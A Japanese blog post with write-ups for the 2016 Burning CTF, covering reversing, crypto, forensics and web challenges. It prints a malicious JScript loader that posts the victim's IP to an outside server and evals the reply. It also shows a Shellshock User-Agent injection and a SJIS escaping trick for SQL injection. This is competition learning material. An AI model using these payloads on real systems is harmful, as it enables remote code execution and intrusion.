Web、サーバ、ソフトウェア、バグ・脆弱性 などの情報を何人かで集まって書いていく IT/Web情報系ブログ

場阿忍愚(バーニング)CTF writeup

投稿日:   最終更新日:2017/01/15  投稿者:xx2zz

場阿忍愚(バーニング)CTF が本日まで行われていたので参加した。
writeupを纏める時間が完全に足らなかったため、この記事は何度か追記する。

2016年02月08日 追記1
以下のwriteupを追記した。

解析術 – 情報漏洩、Cool Gadget、Encrypted Message
諜報術 – KDL
記述術 – search_duplicate_character_string

2016年02月09日 追記
以下のwriteupを追記して完成した。

芸術 – ワットイズディス?、cole nanee?、Lines and Boxes、Why want something more?、毎日使う、Extreme Shodo POWER!!
電網術 – ftp is not secure、ベーシック、Japanese kids are knowing、Malicious Code
諜報術 – Mr.Nipps
記述術 – JavaScript Puzzle、Count Number Of Flag’s SubString!、解凍?、Make sorted Amida kuji!!
超文書転送術 – GIFアニメ生成サイト、Network Tools、箱庭XSS、箱庭XSS2

練習

image level 1

脳内で画像を縦に繋げて読む。

Flag: START-YAMATO-SEC!!!

スポンサーリンク

芸術

ワットイズディス?

小さい由とヒントから推測。

Flag: 大和セキュリティ

cole nanee?

勘。

Flag: 忍

Lines and Boxes

ぱっと見アルファベットっぽいけど判別できない文字があるのでとりあえずGoogle画像検索したら、http://www.artnet.com/artists/xu-bing/an-introduction-to-square-word-calligraphy-album-AnjyuZEncsF4b4EV4mzP-g2 これが出てきた。

Flag: WORDPLAY

Why want something more?

Google画像検索でsato shozoという方の作品と分かったので、あとはそこから普通にググって見つけた。
http://issuu.com/poemelibreriadepoetas/docs/_shozo_sato__shodo_-_the_quiet_art_ これの57頁。 Nyozeと書いてある。

Flag: 如是

毎日使う

勘。

Flag: 氣

Extreme Shodo POWER!!

1文字目は画像検索で出てくる。
3,4文字目は http://www.kangxizidian.com/ ここの部首検索で同じ形の字があったらそこから頁を進めていくと見つかる。あとはIMEパッドと勘でがんばる。

氣之呼波和できのこぱわー。

Flag: きのこぱわー

二進術

壱萬回

とりあえずobjdump -dすると、showFlagという関数が見つかる。

0000000000400920 <showFlag>:
  400920:       48 83 ec 08             sub    $0x8,%rsp
  400924:       bf 46 00 00 00          mov    $0x46,%edi
  400929:       e8 a2 fc ff ff          callq  4005d0 <putchar@plt>
  40092e:       bf 4c 00 00 00          mov    $0x4c,%edi
  400933:       e8 98 fc ff ff          callq  4005d0 <putchar@plt>
  400938:       bf 41 00 00 00          mov    $0x41,%edi
  40093d:       e8 8e fc ff ff          callq  4005d0 <putchar@plt>
  400942:       bf 47 00 00 00          mov    $0x47,%edi
  400947:       e8 84 fc ff ff          callq  4005d0 <putchar@plt>
  40094c:       bf 5f 00 00 00          mov    $0x5f,%edi
  400951:       e8 7a fc ff ff          callq  4005d0 <putchar@plt>
  400956:       bf 35 00 00 00          mov    $0x35,%edi
  40095b:       e8 70 fc ff ff          callq  4005d0 <putchar@plt>

こんな感じで1文字ずつputchar()で出力しているので、文字列として繋げてやるとフラグが得られる。

Flag: FLAG_5c33a1b8860e47da864714e042e13f1e

DxLib遊戯如何様

DxLibを使って作られたゲームらしい。
data.dxaの中にフラグがありそうななので、DxLibのDxaDecode.exeというツールで展開を試みるが、鍵を指定しないと復号できないようだった。

http://homepage2.nifty.com/natupaji/DxLib/dxtec.html#T11 を見ると、

パスワードを設定したDXアーカイブをDXライブラリで使用する場合は LoadGraph 関数 などを使用する前に予め SetDXArchiveKeyString 関数でパスワードを指定しておく 必要があります。

と書いてあるので、SetDXArchiveKeyStringを呼んでそうな箇所をOllyDbgで探す。

CPU Disasm
Address   Hex dump          Command                                                  Comments
010B1935  |.  68 40502801   |push    offset 01285040                                 ; ASCII "ReverSi"
010B193A  |.  E8 E1B10200   |call    010DCB20
010B193F  |.  6A 00         |push    0                                               ; /Arg8 = 0
010B1941  |.  8D45 E4       |lea     eax, [local.7]                                  ; |
010B1944  |.  50            |push    eax                                             ; |Arg7 => offset LOCAL.7
010B1945  |.  6A 30         |push    30                                              ; |Arg6 = 30
010B1947  |.  6A 30         |push    30                                              ; |Arg5 = 30
010B1949  |.  8BFE          |mov     edi, esi                                        ; |
010B194B  |.  57            |push    edi                                             ; |Arg4
010B194C  |.  53            |push    ebx                                             ; |Arg3
010B194D  |.  53            |push    ebx                                             ; |Arg2
010B194E  |.  68 48502801   |push    offset 01285048                                 ; |Arg1 = ASCII "data\piece.png"
010B1953  |.  E8 98330300   |call    010E4CF0                                        ; \othello.010E4CF0

ここの”ReverSi”が怪しいので、これを鍵として展開をすると3つのファイルが得られた。

>DxaDecode.exe -K:ReverSi data.dxa
back.png
back2.png
piece.png

back2.pngの右下にフラグが書かれている。

Flag: otHeLlo_is_ReVersI

Unity遊戯如何様

3Dgame.app/Contents/REsources/Data/Managedの中のAssembly-CSharp.dllをILSpyで開いて、GUIManagerを逆コンパイルする。

        string str = "_Tutorial";
        ...
                string text = "its_3D_Game" + str;
                GUILayout.Label(string.Concat(new object[]
                {
                    "Coins: ",
                    this.coinsCollected,
                    " / ",
                    this.coinsInLevel,
                    "  FLAG{",
                    text,
                    "}"

textは”its_3D_Game_Tutorial”となるはずだが、これをポストしても不正解。
なぜかフラグが表示されている画面のキャプチャ(play.png)が添付されているので、これを良く見ると、”Coins:”の部分が大文字になっている。
ということはカーリーブレイス内の文字列も大文字なっていると考えられるので、textを大文字にしてポストしたら通った。

Flag: ITS_3D_GAME_TUTORIAL

解読術

image level 5

$ perl -MDigest::MD5 -e 'print $_,$",Digest::MD5::md5_hex($_),$/ for 1..9'
1 c4ca4238a0b923820dcc509a6f75849b
2 c81e728d9d4c2f636f067f89cc14862c
3 eccbc87e4b5ce2fe28308fd9f2a7baf3
4 a87ff679a2f3e71d9181a67b7542122c
5 e4da3b7fbbce2345d7772b0674a318d5
6 1679091c5a880faf6fb5e6087eb1b2dc
7 8f14e45fceea167a5a36dedd4bea2543
8 c9f0f895fb98ab9159f51fd0297e236d
9 45c48cce2e2d7fbdea1afc51c7c6ad26

ファイル名が’1’~’9’のmd5値になっているので、この順番に並び替えればよい。

Flag: KOUBE-GYU

Ninjya Crypto

http://iga-ueno.or.jp/ninjamoji/%E5%BF%8D%E8%80%85%E6%96%87%E5%AD%97%E3%83%95%E3%82%A9%E3%83%B3%E3%83%88/
忍者文字というものがあるらしい。これを基に読むと、「山と言えば」になるので答えは「川」。

Flag: 川

Decrypt RSA

RSAの公開鍵と暗号化されたファイルが渡される。

$ openssl rsa -pubin -text < public-key.pem
Public-Key: (640 bit)
Modulus:
    00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
    03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
    de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
    e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
    b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
    5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MGwwDQYJKoZIhvcNAQEBBQADWwAwWAJRAK5btPJmADJZz5pvUhw8A0EBds8W31OV
NHbq47Ie3mw8ewO9yiCzHABn/6eX5OkQWXhz7vETpg/szZXetbK/EAZr4iJKzinV
MtwLWnTS0AbxAgMBAAE=
-----END PUBLIC KEY-----

https://en.wikipedia.org/wiki/RSA_numbers#RSA-640 にpとqがあった。

http://d.hatena.ne.jp/kusano_k/20140323/1395571265 ここのスクリプトを使わせてもらって秘密鍵を作る。
あとはopensslで復号するだけ。

$ openssl rsautl -decrypt -inkey priv_key -in flag.txt
FLAG_IS_WeAK_rSA

Flag: FLAG_IS_WeAK_rSA

Zach! Take a nap!

ナップサック暗号。
https://github.com/ctfs/write-ups-2014/tree/master/asis-ctf-quals-2014/archaic ここにLLLを使ったソルバがあったので、ファイル名とb.txtの個数部分を書き換えて走らせたが、それらしき数列は得られなかった。

以下のように行列を適当に調整したら-1と1のそれっぽい数列が得られた。

13c13
<     A[i,i] = 1
---
>     A[i,i] = 2
18c18,21
< A[nbit,nbit] = -int(encoded)
---
> A[nbit,nbit] = int(encoded)
>
> for i in xrange(nbit):
>     A[nbit,i] = 1
[  -1   -1    1    1   -1   -1    1    1   -1   -1    1   -1   -1    1    1    1   -1   -1    1    1    1    1   -1    1   -1   -1    1
 1   -1   -1   -1    1    1   -1   -1   -1   -1    1   -1    1   -1   -1   -1   -1    1   -1   -1    1   -1    1    1    1    1    1   -1
   1   -1   -1    1    1   -1    1    1    1   -1   -1    1   -1    1    1   -1    1   -1    1   -1    1    1   -1   -1    1   -1   -1
1   -1    1    1    1    1   -1   -1    1    1    1    1   -1    1   -1   -1    1   -1   -1    1   -1    1   -1   -1    1   -1    1    1
 -1    1   -1   -1   -1    1    1   -1    1    1   -1    1   -1    1    1   -1   -1    1   -1   -1   -1    1    1    1    1    1   -1   -1
    1   -1   -1   -1   -1    1   -1   -1    1   -1    1    1   -1    1   -1   -1    1   -1   -1    1    1    1   -1   -1    1    1   -1
 1   -1    1   -1   -1    1    1   -1    1    1    1   -1   -1   -1   -1   -1    1   -1    0]
>>> (hex(int("1100110011011000110000101100111001111010111101101000001011001000110100101010011011010000110000101101101011010010111001001010011011100000110
11110110100101101100011001010110010001111101", 2))[2:][:-1]).decode("hex")
'flag={AdiShamirSpoiled}'

Flag: AdiShamirSpoiled

攻撃術

craSH

cat hoge hoge > hoge のようにcatの入力と出力に同じファイルを指定すればクラッシュする。

argc_cat()

    if (output->len < sz) {
        output->data = (char*)realloc(output->data, sizeof(char) * (sz+1));
    }
    output->len = sz;
    ...
        written_pos = output->data;
    for (i=1; i<num; i++) {
        struct file *f = get_file(args[i]);

        if (f == NULL) continue;
        memcpy(written_pos, f->data, f->len);
        written_pos += f->len;
    }

例えば、cat fuga hoge > hogeすると、fuga+hogeのサイズでreallocしたバッファにfugaとhogeの中身をコピーするが、memcpyの時点で、hogeのサイズはfuga+hogeのサイズに書き換わっているため、fugaのサイズ分バッファオーバーフローしてしまう。

$ nc 210.146.64.35 31337
$ echo aaaaaaa > hoge
$ cat hoge
aaaaaaa
$ cat hoge hoge hoge > hoge
$ cat hge
hge: File Not Found.
$ cat hoge
aaaaaaa
$ cat hoge hoge hoge
crash: malloc.c:2372: sysmalloc: Assertion `(old_top == (((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof (struct malloc_chunk, fd)))) && old_size == 0) || ((unsigned long) (old_size) >= (unsigned long)((((__builtin_offsetof (struct malloc_chunk, fd_nextsize))+((2 *(sizeof(size_t))) - 1)) & ~((2 *(sizeof(size_t))) - 1))) && ((old_top)->size & 0x1) && ((unsigned long) old_end & pagemask) == 0)' failed.
That's enough!
flag={NoMoreBashdoor}

Flag: NoMoreBashdoor

解析術

Doubtful Files

WinRARの自己解凍ファイルっぽいアイコンのexe。
最初、ネイティブコードが改変されているのかと予想したが、自分で作った自己解凍ファイル末尾のrarファイル以外一致したため、答えはやはりrarファイル内にあると考えた。

rarファイルのフォーマットと照らし合わせてバイナリを眺めてみると、実際のファイルサイズと比べてやけにデータが多い気がするので、rarについていろいろ調べていると、代替ファイルストリームが格納できるという情報を見つけた。

WinRARの代替ファイルストリームの扱いについて

$ more < 7.inf:Zone.Identifier
[ZoneTransfer]
ZoneId=0

ZmxhZz17QWx0ZXJuYXRlIERhdG

...

$ more < 8.vbs:Zone.Identifier
[ZoneTransfer]
ZoneId=4

EgU3RyZWFtIG9uIE5URlMhfQ==

Base64っぽい文字列が含まれていた。

ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ== flag={Alternate Data Stream on NTFS!}

デコードするとフラグが得られた。

Flag: Alternate Data Stream on NTFS!

情報漏洩

Wiresharkで開くと、PNGのヘッダが見つかる。
そこから3パケット分ほどデータを取り出して結合するとフラグが書かれた画像になる。

Flag: gambare benesse

Speech by google translate

wavのヘッダ情報を見ると実際のファイルサイズと一致していない箇所があるのでそこを書き換えて再生するだけ。

Flag: X5kpBQJUufHdkch923SJ

Cool Gadget

jpegデータの途中に

removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}

が入っているので、これを消すと画像から”EAHIV”という文字が読み取れる。
{}の中の文字列はBase64っぽいのでデコードすると

Salted__CRル・,h"sRy$I9ナ

こんな感じになるので、Saltedでググるとopensslで暗号化したデータらしいことがわかる。
パスにEAHIVを指定してAES-128-CBCで復号したらフラグが出た。

$ echo "U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0" | openssl enc -d -aes-128-cbc -base64 -pass pass:EAHIV -p
salt=431252D9E62A2C68
key=FDA9546F23D61065159D37C3371DDFD4
iv =E8270F80067CDB100C53B6D85937DFA6
flag={Cryptex is cool!}

Flag: Cryptex is cool!

Encrypted Message

メモリダンプっぽいファイルと1,048,576バイトの「155-secret」というファイルが与えられる。
ファイルサイズが1MBちょうどである点、ヘッダに特徴的なパターンやシグネチャが見られないことからTrueCryptで暗号化されたファイルと予想。
155-memdump.memのほうをstringsにかけても、”TrueCrypt”という文字列がが複数出てくるのでその可能性は高いと判断。

“truecrypt ctf”でググると同じ問題のwriteupが見つかったので同じ方法で中のファイルを取り出した。
http://mweissbacher.com/blog/2011/05/17/plaidctf-writeup-fun-with-firewire/

TrueCryptにはヘッダに暗号化された状態で埋め込まれる2つのマスタ鍵とヘッダ自体を暗号化するためのヘッダ鍵の2つがあるらしい。
aeskeyfindで2つのマスタ鍵が見つかるので、それをTrueCryptのソースコード中に埋め込む。
あとは、自前で作成したTrueCryptファイルとヘッダ(先頭512バイト)を差し替えて、自分で設定したパスワードでマウントすれば中のファイルが取り出せる。

TrueCryptのビルドが面倒そうなので、自分で作ったTrueCryptファイルのヘッダを一度復号化してマスタ鍵を差し替える方法も考えたが、ヘッダのフォーマットについてより詳細な理解が必要そうなので、上記writeupと同じ方法をとった。

Flag: Already Ended In 5/2014

電網術

ftp is not secure

テキストエディタで開くとBase64っぽい文字列が見つかるのでデコードしたらフラグが出てきた。

Flag: XTInX69nqvFaoEwwNb

ベーシック

レスポンスのステータスコードが200のリクエストのAuthorizationヘッダの値をBase64デコードすると、http://burning.nsc.gr.jpというURLが出てくるので、そこに同じAuthorizationヘッダを付けてリクエストを投げたらフラグが降ってきた。

$ telnet burning.nsc.gr.jp 80
Trying 210.146.64.41...
Connected to burning.nsc.gr.jp.
Escape character is '^]'.
GET / HTTP/1.1
Host: burning.nsc.gr.jp
Connection: close
Authorization: Basic aHR0cDovL2J1cm5pbmcubnNjLmdyLmpw

HTTP/1.1 200 OK
Date: Mon, 08 Feb 2016 17:31:58 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Tue, 13 Oct 2015 04:50:46 GMT
ETag: "4c-521f530637d18"
Accept-Ranges: bytes
Content-Length: 76
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

<html>
<head>
</head>
<body>
<p>flag={BasicIsNotSecure}</p>
</body>
</html>
Connection closed by foreign host.

Flag: BasicIsNotSecure

Japanese kids are knowing

nmapでポートスキャンするが、デフォルトの範囲だと見つからない。 範囲を広げて再度ポートスキャンすると開いてるポートが見つかるので繋ぎにとなにやら表示される。

$ telnet 210.146.64.34 5006
Trying 210.146.64.34...
Connected to 210.146.64.34.
Escape character is '^]'.
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.

CCDDEEFFEあたりでぐぐると「かえるのうた」だとわかるので、Frogのmd5がフラグ。

Flag: 239243b6cfcaef84a6d7004f21b7af6f

Malicious Code

Wiresharkで覗くとp.linkのレスポンスが怪しいので、取り出して調べるとWindowsのショートカットリンクらしい。
実行すると、%tmp%にjsファイルが出力される。適当に整形すると、以下のようになる。

function ip() {
    var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
    e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
    return e.item().IPAddress(0)
}

function p(u, d) {
    var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
    r.open("POST", u, false);
    r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    r.setOption(2, 13056);
    r.send(d);
    return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + ip();
eval(p(u, d));

ip()の戻り値は実行したマシンのIPアドレスになるので、pcapファイルから得られる10.0.2.222にしてリクエストを投げるとフラグが得られる。

function ip() {
    var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
    e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
    return e.item().IPAddress(0)
}

function p(u, d) {
    var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
    r.open("POST", u, false);
    r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    r.setOption(2, 13056);
    r.send(d);
    return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + "10.0.2.222";
WScript.Echo(p(u, d));
---------------------------
Windows Script Host
---------------------------
WScript.Echo('flag = {lnk is sometimes malicious}')
---------------------------
OK   
---------------------------

Flag: lnk is sometimes malicious

諜報術

KDL

archive.orgで昔のページが見れる。
https://web.archive.org/web/19981212030254/http://www.kdl.co.jp/

Flag: ソフトウェア開発エンジニア

Mr.Nipps

どのページか失念してしまったが、Twitterから辿ったinstagramのlocationsのページに位置情報が埋め込まれていたのでそれで通った。

Flag: 34.0409203,-118.2672272

タナカハック

www.yamatosecurity.comにあるファイルを全部取ると数個しかなかったのでバイナリエディタで開いて目grep

Flag: tanakazakkarini123

記述術

search_duplicate_character_string

my $data = do {local $/; <>};

for my $i (0..length($data)-1) {
    my $sub = substr($data, $i, 20);
    my $pos = 0;
    if (($pos = index($data, $sub, $i+5)) >= 0) {
        print $sub,$",$pos,$/;
    }
}
f_sz!bp_$gufl=b?za>i 156916
_sz!bp_$gufl=b?za>is 156917
sz!bp_$gufl=b?za>is# 156918
z!bp_$gufl=b?za>is#c 156919
!bp_$gufl=b?za>is#c| 156920
bp_$gufl=b?za>is#c|! 156921
p_$gufl=b?za>is#c|!? 156922
_$gufl=b?za>is#c|!?c 156923
$gufl=b?za>is#c|!?cx 156924
gufl=b?za>is#c|!?cxp 156925
ufl=b?za>is#c|!?cxpr 156926
fl=b?za>is#c|!?cxpr! 156927
l=b?za>is#c|!?cxpr!i 156928
=b?za>is#c|!?cxpr!i> 156929
b?za>is#c|!?cxpr!i>< 156930

こんな適当な感じのスクリプトを回して、見つかった文字列を適当に繋げればいけた。

Flag: fsz!bp$gufl=b?za>is#c|!?cxpr!i><

JavaScript Puzzle

まず、ALERTになるように数字を並べる。[ (0O000101), (0b1001100), (101), 0x52, 0x54 ] あとは、それっぽいところに適当に当てはめたらいけた。

window["eval"]["call"]`${
  [ (0O000101), (0b1001100), (101), 0x52, 0x54 ] 
["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() +"(1)"    }`;

Flag: 4c0bf259050d08b8982b6ae43ad0f12be030f191

Count Number Of Flag’s SubString!

最初にa-zの数を調べて、あとは1文字ずつ探していった。
スクリプトは残っていないので省略。

FLAG: afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr

解凍?

無駄に冗長なスクリプトを書いて解凍した。

#!/usr/bin/perl
use strict;

my $data = do {local $/; <>};

my $file = 'flag';
open my $fw, '>', 'flag' or die;
print $fw $data;
close $fw;

my %func = (
    'zip' => sub {
        my $file = shift;
        unlink("flag.zip");
        system("mv $$file flag.zip");
        unlink("flag.txt");
        system('unzip flag.zip');
        $$file = 'flag.txt';
    },
    'tar' => sub {
        my $file = shift;
        unlink("flag.tar");
        system("mv $$file flag.tar");
        unlink("flag.txt");
        system("tar vxf flag.tar");
        $$file = 'flag.txt';
    },
    'bz2' => sub {
        my $file = shift;
        unlink("flag.bz2");
        system("mv $$file flag.bz2");
        unlink("flag");
        system("bzip2 -d flag.bz2");
        $$file = "flag";
    },
    'gzip' => sub {
        my $file = shift;
        unlink("flag.gz");
        system("mv $$file flag.gz");
        unlink("flag");
        system("gunzip flag.gz");
        $$file = "flag";
    }
);

sub get_file_type {
    my $head = shift;

    if (substr($head, 0, 2) eq "\x1f\x8b") {
        print "gzip\t";
        return $func{gzip};
    }
    if (substr($head, 0, 2) eq "\x50\x4b") {
        print "zip\t";
        return $func{zip};
    }
    if (substr($head, 0, 2) eq "\x66\x6c") {
        print "tar\t";
        return $func{tar};
    }
    if (substr($head, 0, 2) eq "\x42\x5a") {
        print "bz2\t";
        return $func{bz2};
    }
    return undef;
}

while (1) {
    open my $fr, $file or die;
    my $data = do {local $/=\4; <$fr>};
    close $fr;

    my $type = get_file_type($data);

    die 'unkown file type' unless $type;

    $type->(\$file);
    print $file,$/;
}

Flag: 6aKuZrEqxvBZUIqBOXgMclLwpQCo8OXi

Make sorted Amida kuji!!

第一ステージは適当にデータを並び替えて遊べば次のステージにいける。第二ステージはパターンを絞って総当たり。
ソルバは1つのファイルにまとまっていないため省略。

Flag: 021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q

超文書転送術

GIFアニメ生成サイト

http://210.146.64.47/movies/newgif/1 を開くと1番のGIF動画が表示される。 一瞬だけFlagが表示されるので、タイミングを見計らってスクリーンショットをとる。

Flag: H0WdoUpronunceGIF?

Network Tools

Shellshock(CVE-2014-6271)。
UserAgentに’User-Agent: () { :; }; echo *’,こんな感じでコマンドを仕込める。

HTTP/1.1 200 OK
Date: Sat, 12 Dec 2015 08:23:06 GMT
Server: Apache/2.2.15 (CentOS)
Content-Length: 1188
Connection: close
Content-Type: text/html; charset=utf-8

<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps </div>
  <div class='body'>

    flag.txt logs logs.py myapp.cgi nwtools.py static templates<br />

      PID TTY          TIME CMD<br />

       48 ?        00:00:00 httpd<br />

       49 ?        00:00:00 httpd<br />

       50 ?        00:00:00 httpd<br />

       51 ?        00:00:00 httpd<br />

       52 ?        00:00:00 httpd<br />

       53 ?        00:00:00 httpd<br />

       54 ?        00:00:00 httpd<br />

       55 ?        00:00:00 httpd<br />

     1802 ?        00:00:00 httpd<br />

     6662 ?        00:00:00 myapp.cgi<br />

     6667 ?        00:00:00 ps<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>

Flag: Update bash to the latest version!

箱庭XSS

Electronで作られたアプリケーション。
resource/app.asarをこれで展開するとJavaScriptファイルが出てくるので、難読化を適当に解いてフラグを取る。

function anonymous() {message = 'FLAG is 2ztJcvm2h52WGvZxF98bcpWv', window.alert = 'U asshole! hehehehe.', $('#submit').click(function(){ try { window.alert = function() { $('.main-pane').prepend($('<div>').addClass('alert').addClass('alert-success').attr('role', 'alert').text(message)) }, $('#result').html($('input[name=username]').val().toUpperCase()), setTimeout(function() { window.alert = 'U asshole! hehehehe.' }, 10) } catch(e) { window.alert = 'U asshole! hehehehe.' } })}

Flag: 2ztJcvm2h52WGvZxF98bcpWv

箱庭XSS 2

こちらもまったく同じ方法でフラグが得られる。

Flag: n2SCCerG4J9kDkHqvHJNhwr4

YamaToDo

MySQLで

SET NAMES SJIS

とすると一部の文字列(例えば表)とかでエスケープされるとかされないとかそういうアレを使う。
ちなみにSJISは使えないのでcp932を使う。
SJISをはじいてるのが逆にヒントになった。

Flag: r3m3Mb3r_5c_pr0bL3m

兵法術

自明なので省略。弐だけ縦の数字の肆と柒が入れ替わってる。

将棋詰め壱

自明なので省略。

将棋詰め弐

自明なので省略。

将棋詰め参

自明なので省略。

将棋詰め四

自明なので省略。

- writeup , , ,

Comment

  1. nk. nk. より:

    壱萬回でPerlにevalで1万回計算させた僕がバカみたい。

  2. ForYou より:

    全完おめでとうForYou殿!

  3. mage より:

    > SJISをはじいてるのが逆にヒントになった
    意図を理解して頂けて大変うれしいです☆(ゝω・)v

    • nk. nk. より:

      僕もcp932にして解いたのですが、別解を参照すると面白いですね。
      chromeの検証とかでログイン画面のactionを適当な値に書き換えてあとはidにyamato、パスを適当な値にするだけでふつうに見れてしまって笑いました。あの苦労は何だったのか。

Message

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です

関連記事